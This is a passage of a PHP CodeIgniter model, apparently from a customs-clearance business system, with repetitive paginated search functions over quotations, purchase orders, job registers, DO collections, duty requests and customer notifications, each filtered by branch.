    function search_cc_quotation_closed($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_quotation');
        $this-&gt;db-&gt;join('master', 'master_id=cc_quotation_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_quotation_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_quotation_port_id');
        $this-&gt;db-&gt;where('cc_quotation_status', "Closed");
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_quotation_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_quotation_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_quotation');
        $this-&gt;db-&gt;join('master', 'master_id=cc_quotation_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_quotation_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_quotation_port_id');
        $this-&gt;db-&gt;where('cc_quotation_status', "Closed");
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_quotation_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_purchase_order($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_purchase_order');
        $this-&gt;db-&gt;join('master', 'master_id=cc_po_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_po_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_po_port_id');

        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_po_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_po_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_purchase_order');
        $this-&gt;db-&gt;join('master', 'master_id=cc_po_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_po_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_po_port_id');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_po_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_authorization_letter($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_authorization_letter');
        $this-&gt;db-&gt;join('master', 'master_id=cc_authorization_letter_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_authorization_letter_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_authorization_letter_port_id');

        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_authorization_letter_received_date' || $searchfield == 'cc_authorization_letter_expiry_date' || $searchfield == 'cc_authorization_letter_alert_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_authorization_letter_received_date' || $searchfield == 'cc_authorization_letter_expiry_date' || $searchfield == 'cc_authorization_letter_alert_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_authorization_letter');
        $this-&gt;db-&gt;join('master', 'master_id=cc_authorization_letter_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_authorization_letter_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_authorization_letter_port_id');
        if ($_SESSION['user_type'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_authorization_letter.cc_authorization_letter_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_job($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('master', 'master_id=cc_job_register_id');

        $this-&gt;db-&gt;join('customer', 'customer_id=cc_job_register_customer_id');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_job_register_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_job_register_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('master', 'master_id=cc_job_register_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_job_register_customer_id');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_job_register.cc_job_register_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_duty_amount_translation($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('master', 'master_id=cc_job_register_id');

        $this-&gt;db-&gt;join('customer', 'customer_id=cc_job_register_customer_id');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_job_register_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_job_register_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('master', 'master_id=cc_job_register_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_job_register_customer_id');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_job_register.cc_job_register_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_job_active($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('master', 'master_id=cc_job_register_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_job_register_customer_id');
        $this-&gt;db-&gt;where("cc_job_register_status != ", 'Job Completed');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_job_register_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_job_register_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('master', 'master_id=cc_job_register_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_job_register_customer_id');
        $this-&gt;db-&gt;where("cc_job_register_status != ", 'Job Completed');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_job_register.cc_job_register_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_job_completed($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('master', 'master_id=cc_job_register_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_job_register_customer_id');
        $this-&gt;db-&gt;where('cc_job_register_status', 'Job Completed');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $postdata = $_SESSION['searchdata'];
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_job_register_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_job_register_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_job_register');
        $this-&gt;db-&gt;join('master', 'master_id=cc_job_register_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_job_register_customer_id');
        $this-&gt;db-&gt;where('cc_job_register_status', 'Job Completed');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_job_register.cc_job_register_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_do_collection($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_do_collection');
        $this-&gt;db-&gt;join('master', 'master_id=cc_do_collection_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_do_collection_customer_id');
        $this-&gt;db-&gt;join('port', 'port_id=cc_do_collection_port_id');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_do_collection_requested_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_do_collection_requested_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_do_collection');
        $this-&gt;db-&gt;join('master', 'master_id=cc_do_collection_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_do_collection_customer_id');
        $this-&gt;db-&gt;join('port', 'port_id=cc_do_collection_port_id');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_do_collection_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_do_collection_received($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_do_collection');
        $this-&gt;db-&gt;join('master', 'master_id=cc_do_collection_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_do_collection_customer_id');
        $this-&gt;db-&gt;join('port', 'port_id=cc_do_collection_port_id');
        $this-&gt;db-&gt;where('cc_do_colection_received', 1);
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_do_collection_requested_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_do_collection_requested_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_do_collection');
        $this-&gt;db-&gt;join('master', 'master_id=cc_do_collection_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_do_collection_customer_id');
        $this-&gt;db-&gt;join('port', 'port_id=cc_do_collection_port_id');
        $this-&gt;db-&gt;where('cc_do_colection_received', 1);
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_do_collection_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_do_collection_active($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_do_collection');
        $this-&gt;db-&gt;join('master', 'master_id=cc_do_collection_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_do_collection_customer_id');
        $this-&gt;db-&gt;join('port', 'port_id=cc_do_collection_port_id');
        $this-&gt;db-&gt;where('cc_do_colection_received', 0);

        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_do_collection_requested_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_do_collection_requested_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_do_collection');
        $this-&gt;db-&gt;join('master', 'master_id=cc_do_collection_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=cc_do_collection_customer_id');
        $this-&gt;db-&gt;join('port', 'port_id=cc_do_collection_port_id');
        $this-&gt;db-&gt;where('cc_do_colection_received', 0);
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_do_collection_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_duty_request($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_duty_request');
        $this-&gt;db-&gt;join('master', 'master_id=cc_duty_request_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_duty_request_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');

        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;where('cc_duty_received_inactive', '0');
        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_duty_request_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_duty_request_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_duty_request');
        $this-&gt;db-&gt;join('master', 'master_id=cc_duty_request_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_duty_request_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;where('cc_duty_received_inactive', '0');
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_duty_request_job_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_duty_request_inactive($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_duty_request');
        $this-&gt;db-&gt;join('master', 'master_id=cc_duty_request_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_duty_request_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');

        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;where('cc_duty_received_inactive', '1');
        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_duty_request_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_duty_request_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_duty_request');
        $this-&gt;db-&gt;join('master', 'master_id=cc_duty_request_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_duty_request_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;where('cc_duty_received_inactive', '1');
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_duty_request_job_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_customer_notification($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_customer_notification');
        $this-&gt;db-&gt;join('master', 'master_id=cc_customer_notification_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_customer_notification_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $this-&gt;db-&gt;where('cc_customer_notification_inactive', '0');
        $postdata = $_SESSION['searchdata'];
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_customer_notification');
        $this-&gt;db-&gt;join('master', 'master_id=cc_customer_notification_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_customer_notification_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;where('cc_customer_notification_inactive', '0');
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_customer_notification_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_customer_notification_inactive($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_customer_notification');
        $this-&gt;db-&gt;join('master', 'master_id=cc_customer_notification_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_customer_notification_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;where('cc_customer_notification_inactive', '1');
        $postdata = $_SESSION['searchdata'];
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_customer_notification');
        $this-&gt;db-&gt;join('master', 'master_id=cc_customer_notification_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_customer_notification_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;where('cc_customer_notification_inactive', '1');
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_customer_notification_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_invoice($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('customer_invoice');
        $this-&gt;db-&gt;join('master', 'master_id=invoice_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=invoice_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        $this-&gt;db-&gt;where('posted', '0');
